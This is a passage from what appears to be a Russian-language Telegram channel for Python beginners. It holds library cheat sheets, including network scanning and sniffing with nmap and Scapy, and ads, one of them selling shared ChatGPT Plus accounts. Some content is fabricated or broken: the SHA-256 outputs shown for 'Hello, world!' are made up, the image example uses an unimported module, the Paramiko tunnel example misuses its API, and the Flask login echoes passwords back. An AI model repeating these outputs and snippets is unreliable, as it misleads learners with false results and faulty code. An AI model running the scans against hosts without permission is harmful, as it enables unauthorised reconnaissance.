doc = Document()
table = doc.add_table(rows=3, cols=3)
for row in table.rows:
for cell in row.cells:
cell.text = 'Текст ячейки'
doc.save('документ_с_таблицей.docx')

add_table_to_document()


### 4. Изменение текста в существующем документе

Этот фрагмент кода изменяет текст в существующем документе.

from docx import Document

def modify_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
if 'старый текст' in paragraph.text:
paragraph.text = paragraph.text.replace('старый текст', 'новый текст')
doc.save('измененный_документ.docx')

modify_document('существующий_документ.docx')


### 5. Добавление изображений в документ

Этот код добавляет изображение в документ.

from docx import Document

def add_image_to_document():
doc = Document()
doc.add_heading('Документ с изображением', level=1)
doc.add_paragraph('Вот изображение:')
doc.add_picture('путь_к_изображению.jpg', width=docx.shared.Inches(2))
doc.save('документ_с_изображением.docx')

add_image_to_document()


### 6. Поиск и удаление абзацев

Этот код ищет и удаляет абзацы, содержащие определенный текст.

from docx import Document

def remove_paragraphs(file_path, text_to_remove):
doc = Document(file_path)
for paragraph in doc.paragraphs:
if text_to_remove in paragraph.text:
p = paragraph._element
p.getparent().remove(p)
doc.save('документ_без_абзацев.docx')

remove_paragraphs('существующий_документ.docx', 'текст для удаления')


### 7. Форматирование текста

Этот код форматирует текст в документе, добавляя жирный шрифт и курсив.

from docx import Document
from docx.shared import Pt

def format_text_in_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
run = paragraph.add_run('Этот текст будет жирным и курсивом. ')
run.bold = True
run.italic = True
doc.save('документ_с_форматированием.docx')

format_text_in_document('существующий_документ.docx')

Python для новичков

20 Oct, 06:06


Шпаргалка по библиотеке hashlib в Python, которая поможет новичкам понять, как использовать её для работы с хешированием данных.

### Что такое hashlib?

hashlib — это стандартная библиотека Python, которая предоставляет интерфейс для создания хеш-функций. Хеш-функции используются для создания уникального представления данных фиксированной длины (хеша) из произвольного объема данных.

### Установка

hashlib входит в стандартную библиотеку Python, поэтому установка не требуется. Просто импортируйте библиотеку:

import hashlib


### Основные хеш-функции

hashlib поддерживает несколько популярных хеш-функций:

- MD5: hashlib.md5()
- SHA-1: hashlib.sha1()
- SHA-256: hashlib.sha256()
- SHA-512: hashlib.sha512()

### Примеры использования

#### 1. Создание хеша

import hashlib

# Создание объекта хеша
hash_object = hashlib.sha256()

# Обновление хеша данными
hash_object.update(b'Hello, world!') # Обратите внимание, данные должны быть в байтах

# Получение хеша в шестнадцатеричном формате
hex_dig = hash_object.hexdigest()
print(hex_dig) # Пример вывода: '315f5bdb76d084c2d8b11d0f600bfb0c8b11f8c3f0f0f8e7e7b6f3e4f2c4b2c1'


#### 2. Хеширование строки

import hashlib

# Функция для хеширования строки
def hash_string(input_string):
return hashlib.sha256(input_string.encode()).hexdigest()

# Пример использования
print(hash_string("Hello, world!")) # Вывод: 'a591a6d40bf420404a011733cfb7b190d62c65bf0bcda190c3c6c1e06f89c1b'


#### 3. Хеширование файла

import hashlib

# Функция для хеширования содержимого файла
def hash_file(filepath):
hash_object = hashlib.sha256() # Или любой другой алгоритм
with open(filepath, 'rb') as file:
# Чтение файла по частям
while chunk := file.read(4096):
hash_object.update(chunk)
return hash_object.hexdigest()

# Пример использования
print(hash_file('example.txt')) # Хеш содержимого файла example.txt


### Основные методы

- hashlib.new(name): Создает новый объект хеша по имени алгоритма.
- hash.update(data): Обновляет объект хеша данными. Данные должны быть в байтах.
- hash.hexdigest(): Возвращает хеш в шестнадцатеричном формате.
- hash.digest(): Возвращает хеш в бинарном (байтовом) формате.

### Пример работы с несколькими алгоритмами

import hashlib

# Данные для хеширования
data = b"Hello, world!"

# MD5
md5_hash = hashlib.md5(data).hexdigest()
print("MD5:", md5_hash)

# SHA-1
sha1_hash = hashlib.sha1(data).hexdigest()
print("SHA-1:", sha1_hash)

# SHA-256
sha256_hash = hashlib.sha256(data).hexdigest()
print("SHA-256:", sha256_hash)

# SHA-512
sha512_hash = hashlib.sha512(data).hexdigest()
print("SHA-512:", sha512_hash)


### Заключение

hashlib — это мощный инструмент для работы с хешами в Python. Он широко используется в безопасных приложениях, проверке целостности данных и многих других задачах. Используйте хеши для проверки идентичности данных и защиты паролей, но помните, что некоторые алгоритмы, такие как MD5, больше не считаются безопасными для криптографических целей.

### Полезные ссылки

https://docs.python.org/3/library/hashlib.html

Python для новичков

19 Oct, 07:01


Уже долгое время я изучаю тематику цифрового бессмертия. У меня есть сайт virtperson.net, где можно создавать чат-боты, имитирующие вашу личность.

С каждым днём нейросети становятся всё умнее, а цифровые агенты всё правдоподобнее. К чему это приведёт?

Я выпустил книгу, в которой попытался подробно рассказать о нашем будущем. И да, там даже картинки есть 😉

Заказать можно на Озоне (бумажный вариант, с доставкой):

👇👇👇

https://www.ozon.ru/product/tsifrovoe-bessmertie-removich-ivan-1731172508/

☝️☝️☝️

Python для новичков

19 Oct, 00:52


Шпаргалка по библиотеке Paramiko для работы с SSH в Python.

### Установка
Чтобы установить Paramiko, используйте pip:

pip install paramiko


### Импорт библиотеки
import paramiko


### Подключение к удалённому серверу

#### 1. Подключение с использованием пароля

# Создание клиента SSH
client = paramiko.SSHClient()

# Загрузка известных хостов
client.load_system_host_keys()

# Добавление сервера, если он не в известных хостах
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Подключение к удалённому серверу
client.connect('hostname_or_ip', username='your_username', password='your_password')

# Выполнение команды
stdin, stdout, stderr = client.exec_command('ls -l')

# Получение результата
print(stdout.read().decode())

# Закрытие соединения
client.close()


#### 2. Подключение с использованием ключа SSH

# Создание клиента SSH
client = paramiko.SSHClient()

# Загрузка известных хостов
client.load_system_host_keys()

# Добавление сервера, если он не в известных хостах
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Подключение к удалённому серверу с использованием ключа
private_key_path = '/path/to/your/private/key'
private_key = paramiko.RSAKey.from_private_key_file(private_key_path)

client.connect('hostname_or_ip', username='your_username', pkey=private_key)

# Выполнение команды
stdin, stdout, stderr = client.exec_command('ls -l')

# Получение результата
print(stdout.read().decode())

# Закрытие соединения
client.close()


### Выполнение команд

# Выполнение команды и получение результата
stdin, stdout, stderr = client.exec_command('your_command')

# Чтение вывода
output = stdout.read().decode()
error_output = stderr.read().decode()

print('Output:', output)
print('Error:', error_output)


### Передача файлов

#### 1. Скачивание файла

sftp = client.open_sftp()
sftp.get('/remote/path/to/file', '/local/path/to/file')
sftp.close()


#### 2. Загрузка файла

sftp = client.open_sftp()
sftp.put('/local/path/to/file', '/remote/path/to/file')
sftp.close()


### Использование контекста

Для автоматического закрытия соединения можно использовать менеджер контекста:

with paramiko.SSHClient() as client:
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('hostname_or_ip', username='your_username', password='your_password')

stdin, stdout, stderr = client.exec_command('ls -l')
print(stdout.read().decode())


### Использование SSH-туннелирования

#### 1. Создание локального туннеля

transport = client.get_transport()
local_port = 12345
remote_host = 'remote_host'
remote_port = 80

# Создание локального туннеля
transport.request_port_forward('localhost', local_port, remote_host, remote_port)


#### 2. Закрытие туннеля

transport.close()


### Обработка исключений

try:
client.connect('hostname_or_ip', username='your_username', password='your_password')
except paramiko.AuthenticationException:
print("Authentication failed.")
except paramiko.SSHException as e:
print(f"Failed to connect: {e}")


### Получение информации о системе

# Получение информации о системе
stdin, stdout, stderr = client.exec_command('uname -a')
print(stdout.read().decode())


### Полезные методы

- client.exec_command(command): Выполнение команды на удалённом сервере.
- client.open_sftp(): Открытие SFTP-сессии для передачи файлов.
- client.load_system_host_keys(): Загрузка известных хостов из системы.
- client.set_missing_host_key_policy(policy): Установка политики для неизвестных хостов.

### Закрытие соединения

Не забудьте закрыть соединение после завершения работы:

client.close()


### Примечания

- Убедитесь, что SSH-сервер запущен на удалённой машине.
- Для использования ключа SSH убедитесь, что права доступа к файлу ключа установлены корректно (например, 600).

Python для новичков

18 Oct, 07:01


Погрузитесь в мир Python с нашим бесплатным курсом!

🎓 Включено 45 уроков, 56 упражнений в тренажере и 163 проверочных теста. Узнаете, как создавать программы, работать с условиями и функциями.

Что вы освоите:
— Составление программ из нескольких модулей.
— Анализ ошибок в коде с использованием отладочной печати.

📚 Курс охватывает основы Python: синтаксис, условия, циклы, типы данных и библиотеки. Практика на каждом шаге поможет вам уверенно использовать язык.

Начните свое обучение с бесплатного базового курса Python и вы сможете создавать несложные программы, а так же анализировать ошибки в коде!

Python для новичков

17 Oct, 03:58


Шпаргалка по библиотеке python-nmap, которая позволяет взаимодействовать с инструментом Nmap из Python. Эта библиотека полезна для автоматизации сетевого сканирования и анализа.

Для работы с библиотекой python-nmap необходимо, чтобы утилита Nmap была предварительно установлена на вашей системе.

### Установка
pip install python-nmap


### Основные компоненты
- nmap: Основной класс для взаимодействия с Nmap.
- scan(): Метод для выполнения сканирования.
- all_info(): Метод для получения всей информации о сканировании.

### Основные методы

#### 1. Импорт библиотеки
import nmap


#### 2. Создание объекта Nmap
nm = nmap.PortScanner()


#### 3. Сканирование
- Синтаксис: scan(hosts, arguments)
- Пример: Сканирование хоста по IP
nm.scan('192.168.1.1', arguments='-sP')  # Ping scan


#### 4. Получение информации о сканировании
- Основная информация о хосте:
print(nm.all_hosts())  # Список всех хостов
print(nm['192.168.1.1'].state()) # Состояние хоста (up/down)


- Получение информации о портах:
for proto in nm['192.168.1.1'].all_protocols():
print('Protocol : %s' % proto)
lport = nm['192.168.1.1'][proto].keys()
for port in sorted(lport):
print('Port : %s\tState : %s' % (port, nm['192.168.1.1'][proto][port]['state']))


#### 5. Сканирование нескольких хостов
nm.scan(hosts='192.168.1.1,192.168.1.2', arguments='-sV')  # Сканирование с определением версии


#### 6. Запуск сканирования с дополнительными аргументами
- Примеры аргументов:
- -sP: Ping scan
- -sS: TCP SYN scan
- -sV: Определение версии службы
- -O: Определение операционной системы
- -p: Сканирование определенных портов
nm.scan('192.168.1.1', arguments='-sS -O -p 22,80')


### Примеры использования

#### Пример 1: Простое сканирование
import nmap

# Создание объекта сканера
nm = nmap.PortScanner()

# Сканирование
nm.scan('192.168.1.1', arguments='-sS')

# Вывод информации
print(nm.all_hosts())
print(nm['192.168.1.1'].state())


#### Пример 2: Сканирование диапазона IP
import nmap

nm = nmap.PortScanner()
nm.scan(hosts='192.168.1.0/24', arguments='-sP')

for host in nm.all_hosts():
print(f'Host: {host} ({nm[host].hostname()})')
print(f'State: {nm[host].state()}')


#### Пример 3: Сканирование с определением версии и ОС
import nmap

nm = nmap.PortScanner()
nm.scan('192.168.1.1', arguments='-sS -sV -O')

print(f"IP: {nm['192.168.1.1'].hostname()}")
print(f"State: {nm['192.168.1.1'].state()}")
print(f"OS: {nm['192.168.1.1']['osmatch'][0]['name']}")


### Обработка ошибок
try:
nm.scan('192.168.1.1')
except nmap.PortScannerError as e:
print(f'Error: {e}')


### Список доступных функций
- all_hosts(): Возвращает список всех найденных хостов.
- state(): Возвращает состояние хоста (up/down).
- all_protocols(): Возвращает все протоколы (TCP/UDP).
- has_tcp(port): Проверяет, есть ли TCP порт.
- has_udp(port): Проверяет, есть ли UDP порт.
- get_service(port, proto): Получает информацию о службе на порту.

Python для новичков

16 Oct, 13:40


🔵 Практический интенсив «Python-разработчик: основы за 2 дня» — 23-24 октября в 19:00 мск.

О перспективах направления Python и многом другом расскажет Рафаэль Мухаметшин, Middle Бэкенд-разработчик в «ПИК Digital» с опытом в разработке более 3 лет.

На вебинаре вы:

☑️ Самостоятельно напишете Telegram-бота с карточными мини-играми.
☑️ Познакомитесь с синтаксисом языка и сферами его применения.
☑️ Поймете как продолжить обучение, какие навыки потребуются, чтобы стать backend-разработчиком на Python.
☑️ Узнаете, чего ждут работодатели от junior-разработчиков и что делать, чтобы найти работу без опыта.

🎁 Приятные бонусы: полезный гайд для начинающего Python-разработчика и гайд о сленге в IT всем участникам интенсива!

Python для новичков

13 Oct, 12:46


Шпаргалка по Scapy с основными командами и примерами кода для работы с сетевыми пакетами.

### Установка Scapy

Если вы еще не установили Scapy, можете сделать это с помощью pip:

pip install scapy


### Импорт модуля

Перед началом работы с Scapy необходимо импортировать его:

from scapy.all import *


### Основные операции с Scapy

#### 1. Создание и отправка пакета

##### Пример: Отправка ICMP Echo Request (Ping)

# Создание ICMP пакета
packet = IP(dst="8.8.8.8")/ICMP()
# Отправка пакета и получение ответа
response = sr1(packet)
response.show() # Отображение ответа


#### 2. Сканиование портов

##### Пример: TCP SYN сканирование

# Сканирование портов на хосте
ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=[22, 80, 443], flags="S"), timeout=1)
ans.summary() # Отображение результатов


#### 3. Анализ трафика

##### Пример: Захват пакетов с использованием sniff()

# Функция для обработки пакетов
def packet_callback(packet):
print(packet.summary())

# Захват пакетов
sniff(prn=packet_callback, count=10) # Захват 10 пакетов


#### 4. Создание пользовательских пакетов

##### Пример: Создание и отправка UDP пакета

# Создание UDP пакета
udp_packet = IP(dst="192.168.1.1")/UDP(dport=12345)/Raw(load="Hello, World!")
# Отправка пакета
send(udp_packet)


#### 5. Сниффинг и фильтрация пакетов

##### Пример: Захват пакетов с фильтрацией по протоколу TCP

# Захват только TCP пакетов
sniff(filter="tcp", prn=lambda x: x.show(), count=10)


#### 6. Работа с ARP

##### Пример: ARP запрос для получения MAC-адреса

# Создание ARP запроса
arp_request = ARP(pdst="192.168.1.1")
# Создание Ethernet фрейма
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
# Комбинирование
arp_request_broadcast = broadcast/arp_request
# Отправка запроса и получение ответа
answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]

for element in answered_list:
print(f"IP: {element[1].psrc}, MAC: {element[1].hwsrc}")


#### 7. Сохранение и загрузка пакетов из файла

##### Пример: Сохранение захваченных пакетов в файл

# Захват пакетов и сохранение в файл
packets = sniff(count=10)
wrpcap("captured_packets.pcap", packets)


##### Пример: Загрузка пакетов из файла

# Загрузка пакетов из файла
packets = rdpcap("captured_packets.pcap")
for packet in packets:
print(packet.summary())


#### 8. Отправка пакетов с пользовательскими данными

##### Пример: Отправка TCP пакета с данными

# Создание TCP пакета с пользовательскими данными
tcp_packet = IP(dst="192.168.1.1")/TCP(dport=80, flags="S")/Raw(load="GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
# Отправка пакета
send(tcp_packet)


### Полезные функции

- show(): Отображает содержимое пакета.
- summary(): Краткое описание пакета.
- hexdump(): Отображает пакет в шестнадцатеричном формате.

### Заключение

Scapy — мощный инструмент для работы с сетевыми пакетами, который позволяет выполнять множество операций, включая создание, отправку, анализ и захват пакетов. Используйте его ответственно и в рамках закона!

Python для новичков

10 Oct, 03:23


### Шпаргалка по pywinauto

pywinauto — это библиотека для автоматизации GUI приложений в Windows. Она позволяет автоматически управлять окнами приложений, нажимать кнопки, вводить текст, выбирать элементы и т.д.

#### Установка:
pip install pywinauto


## Основные компоненты:

- Application: Представляет собой приложение, с которым вы будете работать.
- WindowSpecification: Представляет окно или элемент управления.

## Подключение к приложению:

1. Запуск приложения через pywinauto:
   from pywinauto import Application

app = Application(backend="win32").start("notepad.exe")


2. Подключение к уже запущенному процессу:
   app = Application(backend="win32").connect(process=1234)  # по PID
app = Application(backend="win32").connect(path="notepad.exe") # по имени исполняемого файла


Backend:
- "win32" — для большинства классических приложений Windows.
- "uia" — для приложений на основе UIAutomation (WPF, UWP и т.д.).

## Основные операции с окнами:

### Получение окна:

1. По заголовку окна:
   dlg = app.window(title="Untitled - Notepad")


2. По частичному совпадению заголовка:
   dlg = app.window(title_re=".*Notepad.*")  # регулярное выражение


3. По классу окна:
   dlg = app.window(class_name="Notepad")


### Действия с окнами:

1. Ожидание открытия окна:
   dlg.wait("exists", timeout=10)  # ждет 10 секунд, пока окно не появится


2. Активация окна:
   dlg.set_focus()


3. Минимизация, максимизация и закрытие:
   dlg.minimize()
dlg.maximize()
dlg.close()


4. Получение текста заголовка окна:
   title = dlg.window_text()


### Работа с элементами управления:

1. Нажатие кнопки:
   dlg.Button.click()
dlg.child_window(title="OK").click() # через child_window


2. Ввод текста в текстовое поле:
   dlg.Edit.type_keys("Hello, World!")


Примечание: Также можно использовать метод send_keys для более точных симуляций клавиатуры.

3. Выбор элемента в ComboBox:
   dlg.ComboBox.select("Item 1")


4. Установка флажка (CheckBox):
   dlg.CheckBox.check()
dlg.CheckBox.uncheck()


5. Получение текста из элемента:
   text = dlg.Static.texts()


### Действия с меню:

1. Доступ к меню:
   dlg.menu_select("Файл->Сохранить как")


2. Переход к пунктам меню по индексу:
   dlg.menu_select("Файл[0]->Выход[5]")  # через индексы


### Работа с диалоговыми окнами:

1. Открытие диалогового окна (например, "Открыть файл"):
   dlg.menu_select("Файл->Открыть...")


2. Взаимодействие с диалогом открытия файла:
   open_dlg = app.window(title_re=".*Открыть.*")
open_dlg.Edit.type_keys("C:\\path_to_file.txt")
open_dlg.Open.click()


### Получение информации об элементах:

1. Получение списка всех элементов:
   dlg.print_control_identifiers()


2. Поиск элемента по контролу:
   btn = dlg.child_window(auto_id="12345")
btn.click()

Python для новичков

05 Oct, 06:01


Шпаргалка по библиотеке imaplib в Python, которая включает основные операции с IMAP-сервером, такие как подключение, аутентификация, чтение и отправка писем, а также пример кода для каждой операции.

### Установка
Для работы с imaplib не требуется дополнительная установка, так как это стандартная библиотека Python. Однако, для работы с электронной почтой может понадобиться модуль email для обработки содержимого писем.

### Основные операции с imaplib

#### 1. Подключение к IMAP-серверу

import imaplib

# Укажите адрес вашего IMAP-сервера и порт
IMAP_SERVER = 'imap.example.com'
EMAIL_ACCOUNT = '[email protected]'
PASSWORD = 'your_password'

# Создаем объект IMAP
mail = imaplib.IMAP4_SSL(IMAP_SERVER)

# Вход в учетную запись
mail.login(EMAIL_ACCOUNT, PASSWORD)


#### 2. Получение списка папок

# Получаем список папок (почтовых ящиков)
status, folders = mail.list()
print(folders)


#### 3. Выбор папки (например, "INBOX")

# Выбор папки "INBOX"
mail.select('INBOX')


#### 4. Поиск писем

# Поиск писем по заданному критерию (например, все непрочитанные)
status, messages = mail.search(None, 'UNSEEN')

# messages - это строка с номерами писем, разделенными пробелом
email_ids = messages[0].split()
print(email_ids) # Список ID непрочитанных писем


#### 5. Чтение письма

# Чтение первого непрочитанного письма
if email_ids:
latest_email_id = email_ids[0] # ID первого непрочитанного письма
status, msg_data = mail.fetch(latest_email_id, '(RFC822)') # Получаем полное сообщение
raw_email = msg_data[0][1] # raw_email - это сырое содержимое письма
print(raw_email.decode('utf-8')) # Декодируем и выводим содержимое


#### 6. Удаление письма

# Удаление письма
if email_ids:
mail.store(latest_email_id, '+FLAGS', '\\Deleted') # Помечаем письмо как удаленное
mail.expunge() # Удаляем помеченные письма


#### 7. Выход и закрытие соединения

# Выход из учетной записи и закрытие соединения
mail.logout()


### Полный пример

Вот полный пример, который объединяет все вышеперечисленные операции:

import imaplib
import email
from email.header import decode_header

# Настройки
IMAP_SERVER = 'imap.example.com'
EMAIL_ACCOUNT = '[email protected]'
PASSWORD = 'your_password'

# Подключаемся к IMAP-серверу
mail = imaplib.IMAP4_SSL(IMAP_SERVER)
mail.login(EMAIL_ACCOUNT, PASSWORD)

# Выбираем папку "INBOX"
mail.select('INBOX')

# Поиск непрочитанных писем
status, messages = mail.search(None, 'UNSEEN')
email_ids = messages[0].split()

# Чтение и вывод непрочитанных писем
for email_id in email_ids:
status, msg_data = mail.fetch(email_id, '(RFC822)')
raw_email = msg_data[0][1]

# Парсим письмо
msg = email.message_from_bytes(raw_email)
subject, encoding = decode_header(msg['Subject'])[0]

if isinstance(subject, bytes):
subject = subject.decode(encoding if encoding else 'utf-8')

print(f'Subject: {subject}')

# Удаляем письмо
mail.store(email_id, '+FLAGS', '\\Deleted')

# Удаляем помеченные письма
mail.expunge()

# Выход из учетной записи
mail.logout()


### Полезные советы

- Аутентификация: Если у вас включена двухфакторная аутентификация (2FA), вам может понадобиться создать специальный пароль приложения для доступа к вашей учетной записи.
- Расшифровка заголовков: Заголовки писем могут быть закодированы, поэтому используйте decode_header для правильного извлечения.
- Проверка статуса: Всегда проверяйте статус операции, чтобы убедиться, что она выполнена успешно

Python для новичков

28 Sep, 13:38


Шпаргалка по использованию модуля `configparser` в Python. Этот модуль позволяет читать и записывать конфигурационные файлы в формате INI.

---

## Шпаргалка по configparser

### Установка

configparser является встроенным модулем в Python (начиная с версии 3.0), поэтому установка не требуется. Просто импортируйте его в вашем коде.

import configparser


### Основные операции

#### 1. Создание и запись конфигурационного файла

import configparser

# Создание объекта ConfigParser
config = configparser.ConfigParser()

# Добавление секции и параметров
config['DEFAULT'] = {
'Server': 'smtp.example.com',
'Port': '587'
}

config['USER'] = {
'Username': '[email protected]',
'Password': 'secret'
}

# Запись конфигурации в файл
with open('config.ini', 'w') as configfile:
config.write(configfile)


#### 2. Чтение конфигурационного файла

import configparser

# Создание объекта ConfigParser
config = configparser.ConfigParser()

# Чтение конфигурационного файла
config.read('config.ini')

# Получение значений
server = config['DEFAULT']['Server']
port = config.getint('DEFAULT', 'Port') # Получение значения как int
username = config['USER']['Username']
password = config['USER'].get('Password') # Получение значения, если параметр может отсутствовать

print(server, port, username, password)


### Основные методы

- `ConfigParser()`: Создает новый объект ConfigParser.

- `read(filenames)`: Читает конфигурационные файлы. Можно передать список файлов.

- `write(file)`: Записывает текущую конфигурацию в указанный файл.

- `sections()`: Возвращает список секций в конфигурационном файле.

- `options(section)`: Возвращает список параметров в указанной секции.

- `get(section, option)`: Получает значение параметра как строку.

- `getint(section, option)`: Получает значение параметра как целое число.

- `getfloat(section, option)`: Получает значение параметра как число с плавающей точкой.

- `getboolean(section, option)`: Получает значение параметра как логическое значение.

- `set(section, option, value)`: Устанавливает значение параметра.

- `remove_option(section, option)`: Удаляет параметр из секции.

- `add_section(section)`: Добавляет новую секцию.

- `remove_section(section)`: Удаляет указанную секцию.

### Пример конфигурационного файла (config.ini)

[DEFAULT]
Server = smtp.example.com
Port = 587

[USER]
Username = [email protected]
Password = secret

[SETTINGS]
EnableFeatureX = True


### Обработка ошибок

- Проверка существования секции или параметра:
  if config.has_section('USER'):
print('Секция USER существует')

if config.has_option('USER', 'Username'):
print('Параметр Username существует')


- Обработка исключений:
  try:
value = config['USER']['NonExistentOption']
except KeyError:
print('Параметр не найден')


### Примечания

- По умолчанию секции и параметры регистронезависимы.
- Для изменения поведения (например, работа с регистром) можно использовать методы optionxform или переопределить их.
- В configparser можно использовать комментарии, начиная строку с # или ;.

Python для новичков

28 Sep, 00:56


Шпаргалка по `virtualenv` — инструменту для создания изолированных виртуальных окружений в Python. Это позволяет управлять зависимостями для различных проектов, избегая конфликтов между библиотеками.

---

## Шпаргалка по virtualenv

### Установка virtualenv

1. Установка через pip:
   pip install virtualenv


2. Проверка установки:
   virtualenv --version


### Создание виртуального окружения

1. Создание нового виртуального окружения:
   virtualenv <имя_окружения>

Пример:
   virtualenv myenv


2. Создание окружения с определённой версией Python:
   virtualenv -p /usr/bin/python3.8 <имя_окружения>

Пример:
   virtualenv -p python3.8 myenv


### Активация виртуального окружения

- Windows:
   .\myenv\Scripts\activate


- Linux/Mac:
   source myenv/bin/activate


### Деактивация виртуального окружения

deactivate


### Установка пакетов в виртуальном окружении

1. После активации окружения:
   pip install <имя_пакета>

Пример:
   pip install requests


2. Проверка установленных пакетов:
   pip list


3. Сохранение зависимостей в файл:
   pip freeze > requirements.txt


4. Установка зависимостей из файла:
   pip install -r requirements.txt


### Удаление виртуального окружения

Просто удалите папку окружения:
rm -rf myenv  # Linux/Mac
rmdir /S /Q myenv # Windows


### Дополнительные команды

- Создание окружения с использованием `--no-site-packages` (по умолчанию уже изолировано):
   virtualenv --no-site-packages <имя_окружения>


- Список доступных опций:
   virtualenv --help


### Примечания

- После активации виртуального окружения, все команды pip и python будут относиться к этому окружению, пока оно активно.
- Для удобства можно добавить активацию окружения в requirements.txt или использовать Pipenv или Poetry для управления зависимостями и окружениями.

Python для новичков

27 Sep, 20:06


https://habr.com/ru/articles/837936/

Python для новичков

26 Sep, 16:59


😶Новейшая версия ChatGPT O1 значительно превосходит предыдущие поколения по точности и производительности. По данным последних тестов:

- В соревнованиях по программированию (Codeforces) O1 достиг ошеломляющего результата — 89% по точности, что почти в 8 раз больше, чем у gpt4.0.

Купить общий аккаунт с Chat GPT Plus за 249₽ с гарантией, вместо 2499₽ можно у @remeje
❗️1 Человеку за отзыв

Python для новичков

26 Sep, 09:20


### Шпаргалка по модулю cryptography в Python

Модуль cryptography предоставляет инструменты для работы с различными криптографическими задачами, такими как шифрование, дешифрование, создание цифровых подписей и управление ключами. Ниже приведены основные функции и примеры их использования.

#### Установка модуля
pip install cryptography


### Основные компоненты модуля cryptography

1. Фернэт (Fernet)
2. Ассиметричное шифрование
3. Хэширование

### 1. Фернэт (Fernet)

Fernet - это симметричный алгоритм шифрования, который обеспечивает конфиденциальность и целостность данных.

#### Генерация ключа
from cryptography.fernet import Fernet

key = Fernet.generate_key()
print(key)


#### Шифрование данных
from cryptography.fernet import Fernet

key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Шифрование
text = b"Hello, World!"
cipher_text = cipher_suite.encrypt(text)
print(cipher_text)


#### Дешифрование данных
# Дешифрование
plain_text = cipher_suite.decrypt(cipher_text)
print(plain_text)


### 2. Ассиметричное шифрование

Ассиметричное шифрование использует пару ключей: публичный и приватный. Пример использования RSA.

#### Генерация ключей RSA
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)

public_key = private_key.public_key()

# Сохранение приватного ключа
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)

# Сохранение публичного ключа
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)

print(private_pem)
print(public_pem)


#### Шифрование данных с использованием публичного ключа
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

message = b"Secret message"
cipher_text = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
print(cipher_text)


#### Дешифрование данных с использованием приватного ключа
plain_text = private_key.decrypt(
cipher_text,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
print(plain_text)


### 3. Хэширование

Хэширование используется для создания уникального идентификатора данных.

#### Создание хэша
from cryptography.hazmat.primitives import hashes

digest = hashes.Hash(hashes.SHA256())
digest.update(b"Hello, World!")
hash_value = digest.finalize()
print(hash_value)


### Примеры использования

#### Генерация и проверка цифровой подписи
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

# Подпись данных
signature = private_key.sign(
b"Sign this message",
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)

# Проверка подписи
try:
public_key.verify(
signature,
b"Sign this message",
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
print("Signature is valid.")
except:
print("Signature is invalid.")


Эта шпаргалка предоставляет основные примеры использования модуля cryptography. Вы можете адаптировать и расширять эти примеры в зависимости от ваших конкретных требований.

Python для новичков

24 Sep, 11:36


Краткое руководство по Flask — микрофреймворку на Python для создания веб-приложений.

### Установка Flask
Установите Flask через pip:
pip install flask


### Создание Простого Приложения
Создайте файл app.py:
from flask import Flask

app = Flask(__name__)

@app.route('/')
def home():
return 'Hello, Flask!'

if __name__ == '__main__':
app.run(debug=True)


Запустите приложение:
python app.py


### Основные Компоненты
1. Маршруты (Routes)
    @app.route('/about')
def about():
return 'About Page'


2. Переменные в URL
    @app.route('/user/<username>')
def show_user_profile(username):
return f'User {username}'


3. Методы HTTP-запросов
    @app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
return 'Do the login'
else:
return 'Show the login form'


### Работа с Формами и Запросами
1. Получение данных из формы
    from flask import request

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
return f'Username: {username}, Password: {password}'


2. Перенаправления и URL для именованных маршрутов
    from flask import redirect, url_for

@app.route('/admin')
def admin():
return redirect(url_for('home'))


### Шаблоны
1. Использование Jinja2 шаблонов
Создайте папку templates и добавьте файл index.html:
    <!doctype html>
<html>
<head><title>Hello</title></head>
<body>
<h1>Hello, {{ name }}!</h1>
</body>
</html>


В app.py:
    from flask import render_template

@app.route('/hello/<name>')
def hello(name):
return render_template('index.html', name=name)


### Статические Файлы
Создайте папку static и добавьте CSS или JavaScript файлы. Например, style.css:
body {
background-color: #f0f0f0;
}


В шаблоне (например, index.html):
<link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='style.css') }}">


### Работа с Базой Данных
1. Подключение SQLite через SQLAlchemy
    pip install flask_sqlalchemy


В app.py:
    from flask_sqlalchemy import SQLAlchemy

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(150), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)

if __name__ == '__main__':
app.run(debug=True)


### Расширения Flask
1. Flask-WTF для форм:
    pip install flask-wtf


Пример использования:
    from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired

class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
password = PasswordField('Password', validators=[DataRequired()])
submit = SubmitField('Login')


